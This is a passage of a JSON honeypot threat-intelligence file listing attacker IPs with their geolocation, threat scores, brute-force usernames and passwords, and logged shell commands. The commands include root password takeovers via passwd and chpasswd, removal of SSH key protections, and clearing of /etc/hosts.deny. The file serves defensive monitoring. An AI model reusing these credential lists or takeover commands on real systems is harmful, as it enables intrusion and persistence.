        "echo -e \"123456AA!\\nxVQ42UlkJTcj\\nxVQ42UlkJTcj\"|passwd|bash",
        "echo -e \"a123456i\\nPVdA0394cyUV\\nPVdA0394cyUV\"|passwd|bash",
        "echo -e \"claude2025\\nMwWXcmwggzid\\nMwWXcmwggzid\"|passwd|bash",
        "echo -e \"usuario1123!\\nFa089EZgldNq\\nFa089EZgldNq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:24:11.797000+00:00",
        "last_seen_30d": "2026-03-10T02:00:33.883000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 72
      }
    },
    "124.13.221.115": {
      "attack_count": 445,
      "first_seen": "2026-03-14T02:37:46.345Z",
      "last_seen": "2026-03-22T21:28:29.424Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "appuser",
        "arkserver",
        "gbase",
        "n",
        "service",
        "Sweex",
        "acogec",
        "altibase",
        "asus",
        "diego",
        "hadoop",
        "lcx",
        "oneadmin",
        "oracle",
        "search",
        "user6",
        "vodafone",
        "www-admin",
        "www-data"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345678",
        "Arkserver123!",
        "N123",
        "Sweex",
        "acogec",
        "altibase",
        "appuser",
        "diegopass",
        "osm",
        "password",
        "qwe123",
        "searchpass",
        "service",
        "vodafone",
        "www-admin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n4rywBPetlwO7\\n4rywBPetlwO7\\n\"|passwd",
        "echo \"Arkserver123!\\npG8pzAElFdum\\npG8pzAElFdum\\n\"|passwd",
        "echo \"N123\\nXGCjXU38EJxm\\nXGCjXU38EJxm\\n\"|passwd",
        "echo \"appuser\\nffdEoKQGDnZa\\nffdEoKQGDnZa\\n\"|passwd",
        "echo \"service\\nZUt2c4ebfvGJ\\nZUt2c4ebfvGJ\\n\"|passwd",
        "echo -e \"123456\\n4rywBPetlwO7\\n4rywBPetlwO7\"|passwd|bash",
        "echo -e \"Arkserver123!\\npG8pzAElFdum\\npG8pzAElFdum\"|passwd|bash",
        "echo -e \"N123\\nXGCjXU38EJxm\\nXGCjXU38EJxm\"|passwd|bash",
        "echo -e \"appuser\\nffdEoKQGDnZa\\nffdEoKQGDnZa\"|passwd|bash",
        "echo -e \"service\\nZUt2c4ebfvGJ\\nZUt2c4ebfvGJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Shah Alam",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T02:37:46.345000+00:00",
        "last_seen_30d": "2026-03-22T21:29:33.110000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 68
      }
    },
    "143.198.48.160": {
      "attack_count": 444,
      "first_seen": "2026-03-03T13:20:43.260Z",
      "last_seen": "2026-03-03T14:18:09.773Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "ubuntu",
        "test"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 622,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:19:53.325000+00:00",
        "last_seen_30d": "2026-03-03T14:19:12.510000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 178
      }
    },
    "193.233.48.169": {
      "attack_count": 444,
      "first_seen": "2026-03-03T11:53:18.040Z",
      "last_seen": "2026-03-13T15:51:32.931Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "cyrus",
        "den",
        "elk",
        "ftp-user",
        "nikola",
        "omm",
        "postgres",
        "vpnadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "123",
        "12345",
        "123456",
        "1Qaz2wsx",
        "1q2w3e4r5t6y7u8i9o",
        "8866",
        "AAA111aaa",
        "Abcd-1234",
        "Admin@123qwe",
        "Hu123456",
        "La123456",
        "N2dos2024sd",
        "Qwerty12!",
        "Qwertyu1",
        "Server@2019",
        "admin#1234",
        "anonymous"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"pass123\\n3XEiPqT6GIP8\\n3XEiPqT6GIP8\\n\"|passwd",
        "echo \"qwerty\\nvYy7wxq4ijpX\\nvYy7wxq4ijpX\\n\"|passwd",
        "echo \"root:1PLJwdAOr2a3\"|chpasswd|bash",
        "echo \"root:OYhp2gVMSizm\"|chpasswd|bash",
        "echo -e \"pass123\\n3XEiPqT6GIP8\\n3XEiPqT6GIP8\"|passwd|bash",
        "echo -e \"qwerty\\nvYy7wxq4ijpX\\nvYy7wxq4ijpX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 207713,
      "as_org": "Global Internet Solutions LLC",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 542,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:53:18.040000+00:00",
        "last_seen_30d": "2026-03-13T15:52:41.124000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 98
      }
    },
    "41.204.63.118": {
      "attack_count": 434,
      "first_seen": "2026-03-06T21:45:42.613Z",
      "last_seen": "2026-03-09T00:28:44.848Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mongod",
        "webmin",
        "anders",
        "bhavesh",
        "bitrix",
        "esuser",
        "family",
        "frappe",
        "hadoop",
        "jhpark",
        "jira",
        "maarch",
        "manel",
        "md",
        "mexal",
        "nikita",
        "obc",
        "patricia"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "12345",
        "@qwer2025",
        "@qwer2026",
        "Bitrix123",
        "Jhpark123!",
        "Obc123!",
        "Roots123!",
        "Rose123!",
        "Test2026!",
        "Zomboid123",
        "admin@2025",
        "maarchpass",
        "manel1234",
        "md"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nyvkYGoq9V2PC\\nyvkYGoq9V2PC\\n\"|passwd",
        "echo \"mongod123\\nY85dA1rAVZK3\\nY85dA1rAVZK3\\n\"|passwd",
        "echo \"root:5bEJeXpXpcjg\"|chpasswd|bash",
        "echo \"root:mPJeJdJn8Xcs\"|chpasswd|bash",
        "echo -e \"123\\nyvkYGoq9V2PC\\nyvkYGoq9V2PC\"|passwd|bash",
        "echo -e \"mongod123\\nY85dA1rAVZK3\\nY85dA1rAVZK3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 29614,
      "as_org": "VODAFONE GHANA AS INTERNATIONAL TRANSIT",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 529,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:45:42.613000+00:00",
        "last_seen_30d": "2026-03-09T00:29:50.174000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 95
      }
    },
    "76.164.199.207": {
      "attack_count": 431,
      "first_seen": "2026-03-10T23:34:21.383Z",
      "last_seen": "2026-03-19T18:37:54.920Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "marco",
        "rachel",
        "sysadm",
        "usuarioftp",
        "andy",
        "ax",
        "bkp",
        "clawd",
        "ftpuser1",
        "hafiz",
        "httpd",
        "ionadmin",
        "jason1",
        "logviewer",
        "mohsen",
        "nikola",
        "oneadmin",
        "onlyoffice",
        "real"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "Bkp123",
        "Ionadmin123",
        "Logviewer123",
        "Onlyoffice123!",
        "Silvia123!",
        "Smart@123",
        "ftpuser1pass",
        "hafiz123!",
        "marco",
        "mohsenpass",
        "rachel1234",
        "rsync1234",
        "splunk"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\neWi8jyPPsk1E\\neWi8jyPPsk1E\\n\"|passwd",
        "echo \"marco\\n4RQLQwiPxFRi\\n4RQLQwiPxFRi\\n\"|passwd",
        "echo \"rachel1234\\nOZTxIYGSKfcR\\nOZTxIYGSKfcR\\n\"|passwd",
        "echo \"sysadmpass\\nLH12HfbzlkMk\\nLH12HfbzlkMk\\n\"|passwd",
        "echo -e \"12345678\\neWi8jyPPsk1E\\neWi8jyPPsk1E\"|passwd|bash",
        "echo -e \"marco\\n4RQLQwiPxFRi\\n4RQLQwiPxFRi\"|passwd|bash",
        "echo -e \"rachel1234\\nOZTxIYGSKfcR\\nOZTxIYGSKfcR\"|passwd|bash",
        "echo -e \"sysadmpass\\nLH12HfbzlkMk\\nLH12HfbzlkMk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399244,
      "as_org": "AME Hosting LLC",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:34:21.383000+00:00",
        "last_seen_30d": "2026-03-19T18:38:59.128000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 90
      }
    },
    "193.70.86.193": {
      "attack_count": 391,
      "first_seen": "2026-03-07T02:40:50.077Z",
      "last_seen": "2026-03-11T05:01:15.606Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ahmad",
        "dev1",
        "exx",
        "kk",
        "certftp",
        "clawd",
        "cy",
        "developer",
        "dockeradmin",
        "elemental",
        "francesco",
        "ftptest",
        "king",
        "miguel",
        "petr",
        "reza",
        "sales1",
        "test101"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "@qwer2024",
        "@qwer2025",
        "Abcd1234!",
        "Dev1123!",
        "Dockeradmin123",
        "Exx123!",
        "King123",
        "Miguel123",
        "Ty112233",
        "ahmad123",
        "developer123",
        "kk1234",
        "password",
        "rezapass",
        "sales11234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Dev1123!\\n0mSGbBhIE0GM\\n0mSGbBhIE0GM\\n\"|passwd",
        "echo \"Exx123!\\n0u5dWWrCh4HF\\n0u5dWWrCh4HF\\n\"|passwd",
        "echo \"ahmad123\\njytSU9ewdfGj\\njytSU9ewdfGj\\n\"|passwd",
        "echo \"kk1234\\nh8QIAnhaKpVT\\nh8QIAnhaKpVT\\n\"|passwd",
        "echo -e \"Dev1123!\\n0mSGbBhIE0GM\\n0mSGbBhIE0GM\"|passwd|bash",
        "echo -e \"Exx123!\\n0u5dWWrCh4HF\\n0u5dWWrCh4HF\"|passwd|bash",
        "echo -e \"ahmad123\\njytSU9ewdfGj\\njytSU9ewdfGj\"|passwd|bash",
        "echo -e \"kk1234\\nh8QIAnhaKpVT\\nh8QIAnhaKpVT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:40:50.077000+00:00",
        "last_seen_30d": "2026-03-11T05:02:23.279000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 391,
        "Suricata": 71
      }
    },
    "157.10.161.105": {
      "attack_count": 378,
      "first_seen": "2026-03-04T03:02:44.630Z",
      "last_seen": "2026-03-08T05:10:27.957Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "demon",
        "adrian",
        "adv",
        "lyt",
        "pwserver",
        "rachel",
        "thomas",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!@#QWE123qwe",
        "12345678",
        "1234qwer",
        "147852",
        "1qazxsw@3edc",
        "3.14159",
        "@admin1234",
        "Bingo@1993",
        "Pw123456",
        "Qwe@123456",
        "Rachel123!",
        "Support@2023",
        "Thomas123!",
        "Xx123",
        "abc@123",
        "demon123!",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"demon123!\\nyTmDmsXFFpSJ\\nyTmDmsXFFpSJ\\n\"|passwd",
        "echo \"root:IdSOmqmcjcUM\"|chpasswd|bash",
        "echo \"root:RCVYGvMDwgD3\"|chpasswd|bash",
        "echo \"root:Vta8v8VM3TRf\"|chpasswd|bash",
        "echo -e \"demon123!\\nyTmDmsXFFpSJ\\nyTmDmsXFFpSJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:02:44.630000+00:00",
        "last_seen_30d": "2026-03-08T05:11:28.584000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 378,
        "Suricata": 68
      }
    },
    "172.96.182.111": {
      "attack_count": 354,
      "first_seen": "2026-03-02T16:48:36.126Z",
      "last_seen": "2026-03-28T03:36:59.199Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "12345678@",
        "123456Ko",
        "12345a@",
        "123qweasdzxc.",
        "1@3$qWeRaSdF",
        "203040",
        "Abcd!@#456",
        "Admin123+",
        "Admin2024!@#",
        "P@$$word123456",
        "Pass@321",
        "Qwe112233",
        "Root1",
        "Spring123",
        "Xj123456",
        "ZaQ1XsW2",
        "cheese"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4auGDS3Zy89S\"|chpasswd|bash",
        "echo \"root:CeFwq7cz6Uoz\"|chpasswd|bash",
        "echo \"root:ixtUXGiF6I1e\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 23273,
      "as_org": "HostPapa",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:48:36.126000+00:00",
        "last_seen_30d": "2026-03-28T03:38:09.288000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 87
      }
    },
    "20.26.135.100": {
      "attack_count": 342,
      "first_seen": "2026-03-11T21:48:14.789Z",
      "last_seen": "2026-03-26T16:49:25.262Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "cruise",
        "ssl",
        "www",
        "adminer",
        "ambassador",
        "bookstack",
        "claude",
        "elk",
        "gosha",
        "k8s",
        "karim",
        "monitoring",
        "nexus",
        "pepe",
        "saeed",
        "sd",
        "server",
        "signoz"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "12345678",
        "Aa147258",
        "Server123!",
        "Yann123!",
        "admin",
        "ambassador",
        "claude123",
        "cruise",
        "dodol123",
        "karim1234",
        "monitoring123!",
        "s0p0rt3",
        "saeed",
        "ssl"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cruise\\nyuWRJqyqOCX4\\nyuWRJqyqOCX4\\n\"|passwd",
        "echo \"ssl\\ngFmeqQ0cPW01\\ngFmeqQ0cPW01\\n\"|passwd",
        "echo \"wwwpass\\ndoQpw2Wzp7uY\\ndoQpw2Wzp7uY\\n\"|passwd",
        "echo -e \"cruise\\nyuWRJqyqOCX4\\nyuWRJqyqOCX4\"|passwd|bash",
        "echo -e \"ssl\\ngFmeqQ0cPW01\\ngFmeqQ0cPW01\"|passwd|bash",
        "echo -e \"wwwpass\\ndoQpw2Wzp7uY\\ndoQpw2Wzp7uY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 418,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:48:14.789000+00:00",
        "last_seen_30d": "2026-03-26T16:50:31.001000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 342,
        "Suricata": 76
      }
    },
    "170.79.37.82": {
      "attack_count": 243,
      "first_seen": "2026-03-06T11:32:45.174Z",
      "last_seen": "2026-03-30T12:02:57.987Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0plmnko9",
        "20241109",
        "258369",
        "87654321@",
        "Aa@112233",
        "Cb123456.",
        "Master1",
        "Qwerty123$",
        "aaa123",
        "asdf1234%^&*",
        "cradle",
        "neo123",
        "perro",
        "qyidc838",
        "ruijie@2026",
        "servidor3",
        "test.123",
        "xoa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
